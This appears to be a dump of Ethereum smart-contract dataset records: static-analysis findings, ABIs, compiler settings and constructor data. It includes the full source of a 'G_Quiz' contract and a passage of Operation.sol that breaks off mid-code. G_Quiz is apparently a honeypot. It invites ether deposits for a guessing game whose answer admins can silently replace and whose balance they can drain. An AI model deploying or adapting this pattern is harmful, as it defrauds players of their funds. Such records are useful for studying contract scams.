921, 922, 923, 924, 925, 926, 927, 928, 929, 930, 931, 932, 933, 934, 935, 936, 937, 938, 939, 940, 941, 942]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"LPPoolDelegator.sol": [733, 734, 735, 736, 737, 738, 739, 740, 741, 742, 743, 744, 745, 746, 747, 748, 749, 750, 751, 752, 753, 754, 755, 756, 757, 758, 759, 760, 761, 762, 763, 764, 765, 766, 767, 768, 769, 770, 771, 772, 773, 774, 775, 776, 777, 778, 779, 780, 781, 782, 783, 784, 785, 786, 787, 788, 789, 790, 791, 792, 793, 794, 795, 796, 797, 798, 799, 800, 801, 802, 803, 804, 805, 806, 807, 808, 809, 810, 811, 812, 813, 814, 815, 816, 817, 818, 819, 820, 821, 822, 823, 824, 825, 826, 827, 828, 829, 830, 831, 832, 833, 834, 835, 836, 837, 838, 839, 840, 841, 842, 843, 844, 845, 846, 847, 848, 849, 850, 851, 852, 853, 854, 855, 856, 857, 858, 859, 860, 861, 862, 863, 864, 865, 866, 867, 868, 869, 870, 871, 872, 873, 874, 875, 876, 877, 878, 879, 880, 881, 882, 883, 884, 885, 886, 887, 888, 889, 890, 891, 892, 893, 894, 895, 896, 897, 898, 899, 900, 901, 902, 903, 904, 905, 906, 907, 908, 909, 910, 911, 912, 913, 914, 915, 916, 917, 918, 919, 920, 921, 922, 923, 924, 925, 926, 927, 928, 929, 930, 931, 932, 933, 934, 935, 936, 937, 938, 939, 940, 941, 942]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"LPPoolDelegator.sol": [733, 734, 735, 736, 737, 738, 739, 740, 741, 742, 743, 744, 745, 746, 747, 748, 749, 750, 751, 752, 753, 754, 755, 756, 757, 758, 759, 760, 761, 762, 763, 764, 765, 766, 767, 768, 769, 770, 771, 772, 773, 774, 775, 776, 777, 778, 779, 780, 781, 782, 783, 784, 785, 786, 787, 788, 789, 790, 791, 792, 793, 794, 795, 796, 797, 798, 799, 800, 801, 802, 803, 804, 805, 806, 807, 808, 809, 810, 811, 812, 813, 814, 815, 816, 817, 818, 819, 820, 821, 822, 823, 824, 825, 826, 827, 828, 829, 830, 831, 832, 833, 834, 835, 836, 837, 838, 839, 840, 841, 842, 843, 844, 845, 846, 847, 848, 849, 850, 851, 852, 853, 854, 855, 856, 857, 858, 859, 860, 861, 862, 863, 864, 865, 866, 867, 868, 869, 870, 871, 872, 873, 874, 875, 876, 877, 878, 879, 880, 881, 882, 883, 884, 885, 886, 887, 888, 889, 890, 891, 892, 893, 894, 895, 896, 897, 898, 899, 900, 901, 902, 903, 904, 905, 906, 907, 908, 909, 910, 911, 912, 913, 914, 915, 916, 917, 918, 919, 920, 921, 922, 923, 924, 925, 926, 927, 928, 929, 930, 931, 932, 933, 934, 935, 936, 937, 938, 939, 940, 941, 942]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"LPPoolDelegator.sol": [241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"LPPoolDelegator.sol": [733, 734, 735, 736, 737, 738, 739, 740, 741, 742, 743, 744, 745, 746, 747, 748, 749, 750, 751, 752, 753, 754, 755, 756, 757, 758, 759, 760, 761, 762, 763, 764, 765, 766, 767, 768, 769, 770, 771, 772, 773, 774, 775, 776, 777, 778, 779, 780, 781, 782, 783, 784, 785, 786, 787, 788, 789, 790, 791, 792, 793, 794, 795, 796, 797, 798, 799, 800, 801, 802, 803, 804, 805, 806, 807, 808, 809, 810, 811, 812, 813, 814, 815, 816, 817, 818, 819, 820, 821, 822, 823, 824, 825, 826, 827, 828, 829, 830, 831, 832, 833, 834, 835, 836, 837, 838, 839, 840, 841, 842, 843, 844, 845, 846, 847, 848, 849, 850, 851, 852, 853, 854, 855, 856, 857, 858, 859, 860, 861, 862, 863, 864, 865, 866, 867, 868, 869, 870, 871, 872, 873, 874, 875, 876, 877, 878, 879, 880, 881, 882, 883, 884, 885, 886, 887, 888, 889, 890, 891, 892, 893, 894, 895, 896, 897, 898, 899, 900, 901, 902, 903, 904, 905, 906, 907, 908, 909, 910, 911, 912, 913, 914, 915, 916, 917, 918, 919, 920, 921, 922, 923, 924, 925, 926, 927, 928, 929, 930, 931, 932, 933, 934, 935, 936, 937, 938, 939, 940, 941, 942]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"LPPoolDelegator.sol": [733, 734, 735, 736, 737, 738, 739, 740, 741, 742, 743, 744, 745, 746, 747, 748, 749, 750, 751, 752, 753, 754, 755, 756, 757, 758, 759, 760, 761, 762, 763, 764, 765, 766, 767, 768, 769, 770, 771, 772, 773, 774, 775, 776, 777, 778, 779, 780, 781, 782, 783, 784, 785, 786, 787, 788, 789, 790, 791, 792, 793, 794, 795, 796, 797, 798, 799, 800, 801, 802, 803, 804, 805, 806, 807, 808, 809, 810, 811, 812, 813, 814, 815, 816, 817, 818, 819, 820, 821, 822, 823, 824, 825, 826, 827, 828, 829, 830, 831, 832, 833, 834, 835, 836, 837, 838, 839, 840, 841, 842, 843, 844, 845, 846, 847, 848, 849, 850, 851, 852, 853, 854, 855, 856, 857, 858, 859, 860, 861, 862, 863, 864, 865, 866, 867, 868, 869, 870, 871, 872, 873, 874, 875, 876, 877, 878, 879, 880, 881, 882, 883, 884, 885, 886, 887, 888, 889, 890, 891, 892, 893, 894, 895, 896, 897, 898, 899, 900, 901, 902, 903, 904, 905, 906, 907, 908, 909, 910, 911, 912, 913, 914, 915, 916, 917, 918, 919, 920, 921, 922, 923, 924, 925, 926, 927, 928, 929, 930, 931, 932, 933, 934, 935, 936, 937, 938, 939, 940, 941, 942]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"LPPoolDelegator.sol": [705]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"LPPoolDelegator.sol": [789]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"LPPoolDelegator.sol": [676]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"LPPoolDelegator.sol": [684]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"LPPoolDelegator.sol": [707]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"LPPoolDelegator.sol": [697]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"LPPoolDelegator.sol": [689]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"LPPoolDelegator.sol": [611]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"LPPoolDelegator.sol": [673]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"LPPoolDelegator.sol": [706]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"LPPoolDelegator.sol": [785]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"LPPoolDelegator.sol": [694]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"LPPoolDelegator.sol": [733, 734, 735, 736, 737, 738, 739, 740, 741, 742, 743, 744, 745, 746, 747, 748, 749, 750, 751, 752, 753, 754, 755, 756, 757, 758, 759, 760, 761, 762, 763, 764, 765, 766, 767, 768, 769, 770, 771, 772, 773, 774, 775, 776, 777, 778, 779, 780, 781, 782, 783, 784, 785, 786, 787, 788, 789, 790, 791, 792, 793, 794, 795, 796, 797, 798, 799, 800, 801, 802, 803, 804, 805, 806, 807, 808, 809, 810, 811, 812, 813, 814, 815, 816, 817, 818, 819, 820, 821, 822, 823, 824, 825, 826, 827, 828, 829, 830, 831, 832, 833, 834, 835, 836, 837, 838, 839, 840, 841, 842, 843, 844, 845, 846, 847, 848, 849, 850, 851, 852, 853, 854, 855, 856, 857, 858, 859, 860, 861, 862, 863, 864, 865, 866, 867, 868, 869, 870, 871, 872, 873, 874, 875, 876, 877, 878, 879, 880, 881, 882, 883, 884, 885, 886, 887, 888, 889, 890, 891, 892, 893, 894, 895, 896, 897, 898, 899, 900, 901, 902, 903, 904, 905, 906, 907, 908, 909, 910, 911, 912, 913, 914, 915, 916, 917, 918, 919, 920, 921, 922, 923, 924, 925, 926, 927, 928, 929, 930, 931, 932, 933, 934, 935, 936, 937, 938, 939, 940, 941, 942]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"LPPoolDelegator.sol": [733, 734, 735, 736, 737, 738, 739, 740, 741, 742, 743, 744, 745, 746, 747, 748, 749, 750, 751, 752, 753, 754, 755, 756, 757, 758, 759, 760, 761, 762, 763, 764, 765, 766, 767, 768, 769, 770, 771, 772, 773, 774, 775, 776, 777, 778, 779, 780, 781, 782, 783, 784, 785, 786, 787, 788, 789, 790, 791, 792, 793, 794, 795, 796, 797, 798, 799, 800, 801, 802, 803, 804, 805, 806, 807, 808, 809, 810, 811, 812, 813, 814, 815, 816, 817, 818, 819, 820, 821, 822, 823, 824, 825, 826, 827, 828, 829, 830, 831, 832, 833, 834, 835, 836, 837, 838, 839, 840, 841, 842, 843, 844, 845, 846, 847, 848, 849, 850, 851, 852, 853, 854, 855, 856, 857, 858, 859, 860, 861, 862, 863, 864, 865, 866, 867, 868, 869, 870, 871, 872, 873, 874, 875, 876, 877, 878, 879, 880, 881, 882, 883, 884, 885, 886, 887, 888, 889, 890, 891, 892, 893, 894, 895, 896, 897, 898, 899, 900, 901, 902, 903, 904, 905, 906, 907, 908, 909, 910, 911, 912, 913, 914, 915, 916, 917, 918, 919, 920, 921, 922, 923, 924, 925, 926, 927, 928, 929, 930, 931, 932, 933, 934, 935, 936, 937, 938, 939, 940, 941, 942]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"LPPoolDelegator.sol": [733, 734, 735, 736, 737, 738, 739, 740, 741, 742, 743, 744, 745, 746, 747, 748, 749, 750, 751, 752, 753, 754, 755, 756, 757, 758, 759, 760, 761, 762, 763, 764, 765, 766, 767, 768, 769, 770, 771, 772, 773, 774, 775, 776, 777, 778, 779, 780, 781, 782, 783, 784, 785, 786, 787, 788, 789, 790, 791, 792, 793, 794, 795, 796, 797, 798, 799, 800, 801, 802, 803, 804, 805, 806, 807, 808, 809, 810, 811, 812, 813, 814, 815, 816, 817, 818, 819, 820, 821, 822, 823, 824, 825, 826, 827, 828, 829, 830, 831, 832, 833, 834, 835, 836, 837, 838, 839, 840, 841, 842, 843, 844, 845, 846, 847, 848, 849, 850, 851, 852, 853, 854, 855, 856, 857, 858, 859, 860, 861, 862, 863, 864, 865, 866, 867, 868, 869, 870, 871, 872, 873, 874, 875, 876, 877, 878, 879, 880, 881, 882, 883, 884, 885, 886, 887, 888, 889, 890, 891, 892, 893, 894, 895, 896, 897, 898, 899, 900, 901, 902, 903, 904, 905, 906, 907, 908, 909, 910, 911, 912, 913, 914, 915, 916, 917, 918, 919, 920, 921, 922, 923, 924, 925, 926, 927, 928, 929, 930, 931, 932, 933, 934, 935, 936, 937, 938, 939, 940, 941, 942]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 314, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 627, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 717, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 726, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 792, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 800, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 809, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 818, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 826, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 834, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 841, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 905, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 918, "severity": 1}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 733, "severity": 3}, {"rule": "SOLIDITY_MSGVALUE_EQUALS_ZERO", "line": 936, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 38, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 70, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 229, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 259, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 337, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 425, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 496, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 568, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 271, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 595, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 596, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 734, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 735, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 508, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 571, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 442, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 895, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 905, "severity": 1}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 512, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 516, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 527, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 532, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 537, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 558, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 869, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 896, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 906, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 919, "severity": 3}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 453, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 870, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 897, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 908, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 921, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 485, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 485, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 485, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 486, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 486, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 486, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 486, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 489, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 489, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 489, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 490, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 575, "severity": 1}]
[{"inputs":[{"internalType":"string","name":"_poolname","type":"string"},{"internalType":"address","name":"_rewardtoken","type":"address"},{"internalType":"address","name":"_basetoken","type":"address"},{"internalType":"uint256","name":"_starttime","type":"uint256"},{"internalType":"uint256","name":"_period","type":"uint256"},{"internalType":"uint256","name":"_initreward","type":"uint256"},{"internalType":"address","name":"implementation_","type":"address"},{"internalType":"bytes","name":"becomeImplementationData","type":"bytes"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"oldImplementation","type":"address"},{"indexed":false,"internalType":"address","name":"newImplementation","type":"address"}],"name":"NewImplementation","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"reward","type":"uint256"}],"name":"RewardAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"reward","type":"uint256"}],"name":"RewardPaid","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Staked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Withdrawn","type":"event"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":true,"inputs":[],"name":"DURATION","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"_acceptGov","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"implementation_","type":"address"},{"internalType":"bool","name":"allowResign","type":"bool"},{"internalType":"bytes","name":"becomeImplementationData","type":"bytes"}],"name":"_setImplementation","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"newPendingGov","type":"address"}],"name":"_setPendingGov","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"basetoken","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes","name":"data","type":"bytes"}],"name":"delegateToImplementation","outputs":[{"internalType":"bytes","name":"","type":"bytes"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"bytes","name":"data","type":"bytes"}],"name":"delegateToViewImplementation","outputs":[{"internalType":"bytes","name":"","type":"bytes"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"earned","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"exit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"getReward","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"gov","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"implementation","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"initreward","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"lastUpdateTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"pendingGov","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"periodFinish","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"rewardPerTokenStored","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"rewardRate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"rewards","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"rewardtoken","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"stake","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"starttime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"userRewardPerTokenPaid","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdraw","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"}]
v0.5.17+commit.d19bba13
true
50,000
00000000000000000000000000000000000000000000000000000000000001000000000000000000000000001dafac57c2f74cbc2736486309a009880ce4cbfc000000000000000000000000f8cf4ccdd36f50ba00162e4add457d3d9c62f6d8000000000000000000000000000000000000000000000000000000005fed68e00000000000000000000000000000000000000000000000000000000000093a8000000000000000000000000000000000000000000000014542ba12a337c000000000000000000000000000004ea0b2327d00ecaa17d5326fc4db42a56f0c2899000000000000000000000000000000000000000000000000000000000000014000000000000000000000000000000000000000000000000000000000000000064c50506f6f6c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
istanbul
None
false
bzzr://8d8d571950d232aa511882d45708ec0a2dfeb3b836208acd2fda7b1c5bf0d018
G_Quiz
0xec0d547076f9493c7529b325ad5a73406d4549e6
Solidity
contract G_Quiz { function Try(string memory _response) public payable { require(msg.sender == tx.origin); if(responseHash == keccak256(abi.encode(_response)) && msg.value > 1 ether) { payable(msg.sender).transfer(address(this).balance); } } string public question; bytes32 responseHash; mapping (bytes32=>bool) admin; function Start(string calldata _question, string calldata _response) public payable isAdmin{ if(responseHash==0x0){ responseHash = keccak256(abi.encode(_response)); question = _question; } } function Stop() public payable isAdmin { payable(msg.sender).transfer(address(this).balance); } function New(string calldata _question, bytes32 _responseHash) public payable isAdmin { question = _question; responseHash = _responseHash; } constructor(bytes32[] memory admins) { for(uint256 i=0; i< admins.length; i++){ admin[admins[i]] = true; } } modifier isAdmin(){ require(admin[keccak256(abi.encodePacked(msg.sender))]); _; } fallback() external {} }
[]
[{"check": "arbitrary-send", "impact": "High", "confidence": "Medium", "lines": {"G_Quiz.sol": [27]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"G_Quiz.sol": [19, 20, 21, 22, 23, 24]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"G_Quiz.sol": [26, 27, 28]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"G_Quiz.sol": [32, 33, 30, 31]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"G_Quiz.sol": [3, 4, 5, 6, 7, 8, 9, 10, 11]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"G_Quiz.sol": [19, 20, 21, 22, 23, 24]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"G_Quiz.sol": [3]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"G_Quiz.sol": [19]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"G_Quiz.sol": [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"G_Quiz.sol": [3, 4, 5, 6, 7, 8, 9, 10, 11]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"G_Quiz.sol": [26, 27, 28]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"G_Quiz.sol": [30]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"G_Quiz.sol": [19]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"G_Quiz.sol": [32, 33, 30, 31]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"G_Quiz.sol": [30]}}]
null
null
[{"inputs":[{"internalType":"bytes32[]","name":"admins","type":"bytes32[]"}],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"nonpayable","type":"fallback"},{"inputs":[{"internalType":"string","name":"_question","type":"string"},{"internalType":"bytes32","name":"_responseHash","type":"bytes32"}],"name":"New","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"string","name":"_question","type":"string"},{"internalType":"string","name":"_response","type":"string"}],"name":"Start","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"Stop","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"string","name":"_response","type":"string"}],"name":"Try","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"question","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"}]
v0.8.0+commit.c7dfd78e
true
200
0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000378f1706af8d59421083faa5cffaa5345605779439910e00e8767ba5cd48857291d2b1e35f1a602ea2371d82552194d7a832575e4ad403040e450f10eaec72666f905b668e6a73b41a1eab2ae65ca3bf6fff9fc5ae3946085790faf2da63d4002
Default
None
false
ipfs://bb40a071ed2130ac882dbc8b12694ab754cf33a7ac9152302709893bd61535c8
Operation
0x3701ca69ae0d519348a3e310146341bc65b912a1
Solidity
// File: contracts/operations/Operation.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; pragma experimental ABIEncoderV2; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import {Context} from "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; import {WrappedAsset} from "../assets/WrappedAsset.sol"; import {Operator} from "../utils/Operator.sol"; import {OperationACL} from "./OperationACL.sol"; import {ISwapper} from "../swapper/ISwapper.sol"; interface IOperation { // Events event AutoFinishEnabled(address indexed operation); event InitDeposit(address indexed operator, uint256 amount, bytes32 to); event FinishDeposit(address indexed operator, uint256 amount); event InitRedemption(address indexed operator, uint256 amount, bytes32 to); event FinishRedemption(address indexed operator, uint256 amount); event EmergencyWithdrawActivated(address token, uint256 amount); // Data Structure enum Status {IDLE, RUNNING, STOPPED} enum Type {NEUTRAL, DEPOSIT, REDEEM} struct Info { Status status; Type typ; address operator; uint256 amount; address input; address output; address swapper; address swapDest; } // Interfaces function terraAddress() external view returns (bytes32); function getCurrentStatus() external view returns (Info memory); function initDepositStable( address _operator, uint256 _amount, address _swapper, address _swapDest, bool _autoFinish ) external; function initRedeemStable( address _operator, uint256 _amount, address _swapper, address _swapDest, bool _autoFinish ) external; function finish() external; function finish(uint256 _minAmountOut) external; function finishDepositStable() external; function finishRedeemStable() external; function halt() external; function recover() external; function emergencyWithdraw(address _token, address _to) external; function emergencyWithdraw(address payable _to) external; } // Operation.sol: subcontract generated per wallet, defining all relevant wrapping functions contract Operation is Context, OperationACL, IOperation, Initializable { using SafeMath for uint256; using SafeERC20 for IERC20; using SafeERC20 for WrappedAsset; Info public DEFAULT_STATUS = Info({ status: Status.IDLE, typ: Type.NEUTRAL, operator: address(0x0), amount: 0, input: address(0x0), output: address(0x0), swapper: address(0x0), swapDest: address(0x0) }); Info public currentStatus; WrappedAsset public wUST; WrappedAsset public aUST; bytes32 public override terraAddress; function initialize(bytes memory args) public initializer { ( address _router, address _controller, bytes32 _terraAddress, address _wUST, address _aUST ) = abi.decode(args, (address, address, bytes32, address, address)); currentStatus = DEFAULT_STATUS; terraAddress = _terraAddress; wUST = WrappedAsset(_wUST); aUST = WrappedAsset(_aUST); router = _router; controller = _controller; } function initPayload( address _router, address _controller, bytes32 _terraAddress ) public view returns (bytes memory) { return abi.encode(_router, _controller, _terraAddress, wUST, aUST); } modifier checkStopped { require(currentStatus.status != Status.STOPPED, "Operation: stopped"); _; } function 